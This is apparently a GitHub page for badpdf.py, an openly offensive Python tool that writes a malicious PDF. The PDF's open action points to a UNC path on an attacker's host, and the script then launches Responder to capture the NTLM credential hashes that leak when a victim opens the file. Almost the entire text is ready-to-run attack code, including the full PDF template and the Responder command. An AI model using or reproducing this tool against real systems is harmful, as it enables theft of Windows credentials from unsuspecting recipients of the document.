-
Notifications
You must be signed in to change notification settings - Fork 217
/
badpdf.py
134 lines (108 loc) · 3.27 KB
/
badpdf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function
import io
import os
import subprocess
""""
====================================================================================================================
______ __ _______ ______ ________
|_ _ \ | ] |_ __ \|_ _ `.|_ __ |
| |_) | ,--. .--.| | ______ | |__) | | | `. \ | |_ \_|
| __'. `'_\ : / /'`' ||______|| ___/ | | | | | _|
_| |__) |// | |,| \__/ | _| |_ _| |_.' /_| |_
|_______/ '-;__/ '.__.;__] |_____| |______.'|_____|
This is tool use technique disclosed by the check point team to steal the NTLM hash using malicious PDF file.
Author : Deepu TV ; Alias DeepZec
====================================================================================================================
"""
responder = '/usr/sbin/responder'
interface = 'eth0'
RED, WHITE, CYAN, GREEN, END = '\033[91m', '\33[46m', '\033[36m', '\033[1;32m', '\033[0m'
def create_malpdf(filename, host):
print("[*] Starting Process.. [*]")
with io.FileIO(filename, "w") as file:
file.write('''
%PDF-1.7
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids[3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>
endobj
xref
0 4
0000000000 65535 f
0000000015 00000 n
0000000060 00000 n
0000000111 00000 n
trailer
<</Size 4/Root 1 0 R>>
startxref
190
3 0 obj
<< /Type /Page
/Contents 4 0 R
/AA <<
/O <<
/F (''' + host + '''test)
/D [ 0 /Fit]
/S /GoToE
>>
>>
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Helvetica
>>
>>
>>
>>
endobj
4 0 obj<< /Length 100>>
stream
BT
/TI_0 1 Tf
14 0 0 14 10.000 753.976 Tm
0.0 0.0 0.0 rg
(PDF Document) Tj
ET
endstream
endobj
trailer
<<
/Root 1 0 R
>>
%%EOF
''')
if __name__ == "__main__":
try:
print("""
______ __ _______ ______ ________
|_ _ \ | ] |_ __ \|_ _ `.|_ __ |
| |_) | ,--. .--.| | ______ | |__) | | | `. \ | |_ \_|
| __'. `'_\ : / /'`\' ||______|| ___/ | | | | | _|
_| |__) |// | |,| \__/ | _| |_ _| |_.' /_| |_
|_______/ \'-;__/ '.__.;__] |_____| |______.'|_____|
Author : Deepu TV ; Alias DeepZec
=============================================================
""")
if os.path.isfile(responder):
print("Responder detected :%s" %responder )
else:
print("Responder not found..")
responder = raw_input("Please enter responder path (Default /usr/sbin/responder): \n")
host = raw_input("Please enter Bad-PDF host IP: \n")
filename = raw_input("Please enter output file name: \n")
interface = raw_input("Please enter the interface name to listen(Default eth0): \n")
create_malpdf(filename, '\\\\' + '\\\\' + host + '\\\\')
print("Bad PDF %s created" %filename)
subprocess.Popen(responder + ' -I ' + interface + ' -wF', shell=True).wait()
except KeyboardInterrupt:
exit(0)